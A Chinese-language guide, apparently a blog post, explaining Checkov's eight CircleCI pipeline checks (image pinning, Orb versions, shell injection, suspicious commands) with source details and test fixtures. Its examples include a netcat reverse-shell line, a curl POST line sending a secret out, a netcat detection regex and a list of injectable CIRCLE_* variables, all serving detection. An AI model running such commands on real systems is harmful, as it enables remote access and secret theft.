Checkov 扫描 CircleCI Pipelines:CKV_CIRCLECIPIPELINES 检查项全解析与配置加固指南
2026/9/16 21:10:28 网站建设 项目流程

Checkov 扫描 CircleCI Pipelines:CKV_CIRCLECIPIPELINES 检查项全解析与配置加固指南

【免费下载链接】checkovPrevent cloud misconfigurations and find vulnerabilities during build-time in infrastructure as code, container images and open source packages with Checkov by Bridgecrew.项目地址: https://gitcode.com/GitHub_Trending/ch/checkov

CircleCI 是当前使用最广泛的 CI/CD 平台之一,而.circleci/config.yml中的镜像引用、Orb 版本与run命令脚本恰恰是供应链攻击与秘密泄露的高发区。本文以 Checkov 官方策略索引文档 circleci_pipelines.md 为骨架,系统梳理 8 项CKV_CIRCLECIPIPELINES检查的策略语义、触发条件与修复方式,并结合本仓库源码(checkov/circleci_pipelines/)与测试用例(tests/circleci_pipelines/test_runner.py)讲解其底层实现原理,帮助读者在 CI 构建阶段提前发现并修复管道配置风险。

一、策略索引文档概览:8 项 CircleCI 管道检查

Checkov 官方维护的策略索引文档 circleci_pipelines.md 以表格形式列出了当前框架对 CircleCI Pipelines 的全部内置检查,每条记录包含四类关键元数据:

  • Id:全局唯一的策略标识符,统一采用CKV_CIRCLECIPIPELINES_N命名空间;
  • Type:框架类别,均为circleci_pipelines
  • Entity:被扫描的 YAML 结构路径(基于 JMESPath 表达式),决定了检查的挂载位置;
  • Policy:策略的完整语义描述;
  • IaC / Resource Link:所属 IaC 框架以及对应策略的源码实现文件。

全部 8 项检查(其中CKV_CIRCLECIPIPELINES_8因同时挂载executorsjobs两个实体而出现两条索引记录)汇总如下:

IdEntity(被扫描实体)Policy(策略语义)源码实现
CKV_CIRCLECIPIPELINES_1jobs.*.docker[].{image, __startline__, __endline__}确保管道镜像不使用latest版本标签latest_image.py
CKV_CIRCLECIPIPELINES_2jobs.*.docker[].{image, __startline__, __endline__}确保管道镜像通过哈希(digest)而非任意标签引用image_version_not_hash.py
CKV_CIRCLECIPIPELINES_3orbs.{orbs: @}确保不使用可变的开发版 Orb(@devprevent_development_orbs.py
CKV_CIRCLECIPIPELINES_4orbs.{orbs: @}确保不使用未版本化的易变 Orb(@volatileprevent_volatile_orbs.py
CKV_CIRCLECIPIPELINES_5jobs.*.steps[]检测对 netcat 结合 IP 地址的可疑使用ReverseShellNetcat.py
CKV_CIRCLECIPIPELINES_6jobs.*.steps[]确保 run 命令不易受 shell 注入影响ShellInjection.py
CKV_CIRCLECIPIPELINES_7jobs.*.steps[]检测 run 任务中对 curl 的可疑使用SuspectCurlInScript.py
CKV_CIRCLECIPIPELINES_8executors.*.docker[]jobs.*.docker[]两处实体检测管道中的镜像使用情况DetectImagesUsage.py

说明:CKV_CIRCLECIPIPELINES_8的特殊之处在于它同时注册了两个实体,源码位于 DetectImagesUsage.py。它本身始终返回PASSED,作用是配合 Checkov 的镜像引用框架(Image Referencer)将管道中引用的容器镜像收集起来,交给镜像漏洞扫描(如sca_imagerunner)做后续分析。

二、Checkov 如何识别并扫描 CircleCI 配置文件

在深入各项策略之前,先理解 runner 层面的工作机制。CircleCI 扫描能力由 checkov/circleci_pipelines/runner.py 提供,它继承自yaml_doc.runner.Runner,通过 YAML 解析管线完成检查:

  1. 目标路径限定included_paths()返回[".circleci"],只有路径中包含.circleci目录的文件才会被纳入候选(runner.py);
  2. 文件名校验is_workflow_file()进一步要求文件绝对路径中包含circleci目录,且文件名必须是config.ymlconfig.yaml(runner.py);
  3. 注册表装配import_registry()返回 registry.py 中定义的registry,该注册表类型为CheckType.CIRCLECI_PIPELINES
  4. 资源定位get_resource()依据支持的实体类型,将匹配位置解析为人类可读的资源 ID,例如jobs(test-docker-versioned-img).docker.image1jobs(test-echo).steps1orbs(runner.py)。

从源码结构看,每个检查都继承BaseCircleCIPipelinesCheck(base_circleci_pipelines_check.py),其构造函数统一将categories设置为供应链安全(CheckCategories.SUPPLY_CHAIN),并在实例化时自动向 registry 注册(第 33 行),因此只需要在 checks 目录中定义类并在模块底部实例化(如check = ImageReferenceLatestTag()),框架启动时便会自动加载。

运行示例(对应测试用例 test_runner.py 的用法):

checkov -d . --framework circleci_pipelines # 或者只扫单个文件 checkov -f .circleci/config.yml --framework circleci_pipelines

在 test_runner.py 的test_runner用例中,对 resources/.circleci/config.yml 执行扫描,预期结果是13个失败检查、32个通过检查、0个解析错误与跳过项,可以作为本地验证 Checkov 行为的基准。

三、镜像引用安全:latest标签与哈希校验

CircleCI 的jobsexecutors节点通过docker:列表指定构建环境镜像,镜像的可变性直接决定构建的不可复现性与供应链风险。

CKV_CIRCLECIPIPELINES_1:禁止使用latest标签

  • Entityjobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}
  • 语义:确保管道镜像使用非latest的版本标签。

源码实现位于 latest_image.py,核心逻辑非常直接:取出实体中的image字段,若其为字符串且以:latest结尾则判定为FAILED,否则PASSED

# 违反:镜像以 latest 结尾 jobs: build: docker: - image: "buildpack-deps:latest" # 合规:使用固定版本标签 jobs: build: docker: - image: "mongo:2.6.8"

使用latest意味着每次流水线执行时拉取的镜像内容都可能变化,一旦上游镜像被投毒,构建产物将不可控,这是供应链安全实践中明确禁止的做法。

CKV_CIRCLECIPIPELINES_2:镜像版本必须通过 digest 引用

  • Entity:同CKV_CIRCLECIPIPELINES_1
  • 语义:确保镜像版本通过哈希(digest)而非任意标签引用。

源码实现位于 image_version_not_hash.py,判定规则为:

  • 镜像字符串中包含@(即image@sha256:...形式的 digest)→PASSED
  • 镜像字符串中包含latest→ 返回UNKNOWN(不判定),因为该情况已由CKV_CIRCLECIPIPELINES_1给出更精确的违规说明(源码注释明确说明这一设计取舍);
  • 其他情况(有标签但非 digest)→FAILED
# 合规:通过 sha256 digest 固定镜像 jobs: db: docker: - image: "redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673" # 违反:仅有版本标签,未使用 digest jobs: db: docker: - image: "mongo:2.6.8"

digest 直接指向镜像清单的唯一内容哈希,即使标签被恶意重指向也不会影响拉取结果,是镜像引用最严格的锁定方式。

四、Orb 供应链防护:@dev@volatile

Orb 是 CircleCI 的可复用配置包,来自第三方命名空间,其版本语义直接关系到供应链信任边界。

CKV_CIRCLECIPIPELINES_3:禁止可变开发版 Orb

  • Entityorbs.{orbs: @}
  • 语义:确保不使用可变的开发版 Orb。

实现位于 prevent_development_orbs.py:遍历orbs:段落的每一个值,只要字符串中包含@dev即判定整个段落FAILED。由于一次调用只能对整个orbs:段落返回一个结果(源码注释中也提到这是当前 JMESPath 反射机制的限制),因此段落内存在任意一个@devOrb 都会触发失败。

# 违反:使用了开发版 Orb orbs: some-orb: "orbs/orbname@dev:blah" # 合规:使用正式发布的版本 orbs: some-orb: "orbs/orbname@1.2.3"

@dev:分支名形式的 Orb 指向可变的开发通道,任何一次推送都可能改变其行为,不适合在正式流水线中使用。

CKV_CIRCLECIPIPELINES_4:禁止未版本化的易变 Orb

  • Entityorbs.{orbs: @}
  • 语义:确保不使用未版本化的易变 Orb。

实现位于 prevent_volatile_orbs.py,与上一项逻辑对称:只要值字符串中包含@volitile(注意源码中保留的是 CircleCI 官方拼写)即返回FAILED

# 违反:引用了易变 Orb orbs: flaky: "namespace/orb@volatile" # 合规:锁定到稳定版本号 orbs: flaky: "namespace/orb@0.4.1"

@volatile未关联任何不可变版本,每次执行都可能解析到不同内容,属于典型的不确定依赖,应当替换为显式版本号。

五、run 步骤脚本安全:netcat、shell 注入与 curl

jobs.*.steps[]中的run步骤承载着在容器内执行的 shell 命令,Checkov 通过特征模式匹配来发现恶意命令与注入面。这三项检查均支持两种run写法:字符串简写(run: "echo ...")与对象形式(run: {command: "...", name: "..."}),源码中分别对run字段与run.command字段进行匹配。

CKV_CIRCLECIPIPELINES_5:可疑的 netcat + IP 使用

实现位于 ReverseShellNetcat.py,核心是一个正则(nc|netcat) (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3}),即同时出现nc/netcat命令与四段式 IP 地址时判定FAILED

# 违反:nc 连接远程 IP,典型的反弹 Shell 特征 steps: - run: "nc 192.168.1.100 4444 -e /bin/sh"

反弹 Shell 是攻击者横向移动与持久化的常用手段,结合 IP 地址的 netcat 调用是明确的恶意行为信号。

CKV_CIRCLECIPIPELINES_6:run 命令的 shell 注入防护

实现位于 ShellInjection.py,它逐一使用 common/shell_injection_list.py 中定义的正则列表对命令做匹配,只要命中任意一项即FAILED。该黑名单目前包含 5 个 CircleCI 上下文变量(支持$VAR${VAR}两种写法):

  • $CIRCLE_PR_REPONAME
  • $CIRCLE_PR_USERNAME
  • $CIRCLE_PULL_REQUESTS
  • $CIRCLE_TAG
  • $CIRCLE_BRANCH
# 违反:将外部可控的 PR 元数据拼入 shell 命令 steps: - run: command: "echo ${CIRCLE_BRANCH}" name: "Multi-line run with injection via vars"

这类变量由外部输入(Pull Request、分支名、Tag)驱动,若直接拼接到命令中,攻击者可通过构造恶意分支名/PR 标题实现命令注入。建议将此类值通过BASH_ENV或参数化方式安全传递,并在使用前做白名单校验。测试用例 config.yml 中的test-injecttest-inject2test-inject-ci-vars三个 Job 正是为此检查准备的失败样例。

CKV_CIRCLECIPIPELINES_7:run 任务中的可疑 curl 使用

实现位于 SuspectCurlInScript.py,判定规则为:命令包含curl时,按行拆分后若某一行同时包含curlPOST两个关键词则FAILED

# 违反:curl 结合 POST,可能是秘密外传 steps: - run: command: "curl -x POST someurl $SECRET" name: "Multi-line export secret"

curl ... POST模式常被用于把环境变量、密钥等敏感数据外发到攻击者控制的服务器(对应测试用例 config.yml 中的test-curl-secret)。若确有合法需求,应显式声明外发目标域名并配合审计;对可疑的curl -x POST组合应保持警惕。

六、在真实仓库中验证:测试资源与预期结果

test_runner.py 提供了端到端的验证入口,其测试资源 resources/.circleci/config.yml 几乎覆盖了上述全部检查的触发条件:

Job / 配置片段触发的检查结果
orbs.some-orb: "orbs/orbname@dev:blah"CKV_CIRCLECIPIPELINES_3失败
orbs.new-orb: "whatever/orbname@goodorb"各项通过
test-docker-hash-imgredis@sha256:...CKV_CIRCLECIPIPELINES_2通过
test-docker-latest-imgbuildpack-deps:latestCKV_CIRCLECIPIPELINES_1、2(UNKNOWN)失败
test-docker-versioned-imgmongo:2.6.8CKV_CIRCLECIPIPELINES_2失败
test-inject/test-inject2${CIRCLE_BRANCH}/$CIRCLE_BRANCHCKV_CIRCLECIPIPELINES_6失败
test-inject-ci-vars${CIRCLE_PR_REPONAME}CKV_CIRCLECIPIPELINES_6失败
test-curl-secretcurl -x POST someurl $SECRETCKV_CIRCLECIPIPELINES_7失败

test_runner断言该目录共产生13个失败项与32个通过项,且无解析错误;test_runner_honors_enforcement_rules则验证了通过RunnerFilter(use_enforcement_rules=True)并设置enforcement_rule_configs = {CheckType.CIRCLECIPIPELINES: OFF}可以将全部检查关闭(0 失败 / 0 通过),这说明 CircleCI 检查项同样遵循 Checkov 统一的强制规则(enforcement rule)机制。

如需将 CircleCI 扫描纳入日常开发流程,可参考以下用法:

# 扫描仓库根目录下所有 .circleci/config.yml checkov -d . --framework circleci_pipelines # 结合软失败模式,避免阻断 CI 但保留告警 checkov -d . --framework circleci_pipelines --soft-fail # 使用 --skip-check 豁免确认安全的规则 checkov -d . --framework circleci_pipelines --skip-check CKV_CIRCLECIPIPELINES_2

七、小结:从索引到源码的加固路径

Checkov 的 CircleCI Pipelines 检查从三个维度守护 CI 配置安全:镜像引用CKV_CIRCLECIPIPELINES_1/2)杜绝可变与未锁定镜像;Orb 依赖CKV_CIRCLECIPIPELINES_3/4)封堵易变与开发版组件;run 脚本CKV_CIRCLECIPIPELINES_5/6/7)拦截恶意命令与注入面。其中CKV_CIRCLECIPIPELINES_8承担镜像收集职责,为镜像漏洞扫描提供数据基础。

实践中建议将以下配置作为 CircleCI 加固基线:所有docker.image使用@sha256:digest 引用;所有 Orb 锁定正式版本号;run命令中禁止直接拼接CIRCLE_*外部变量,并警惕nc + IPcurl + POST组合。将checkov -d . --framework circleci_pipelines接入 CI 的流水线前置检查或本地 pre-commit 钩子,即可在构建阶段自动阻断上述风险,相关检查项的实现细节可随时回到 checkov/circleci_pipelines/checks/ 目录逐一核对。

【免费下载链接】checkovPrevent cloud misconfigurations and find vulnerabilities during build-time in infrastructure as code, container images and open source packages with Checkov by Bridgecrew.项目地址: https://gitcode.com/GitHub_Trending/ch/checkov

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询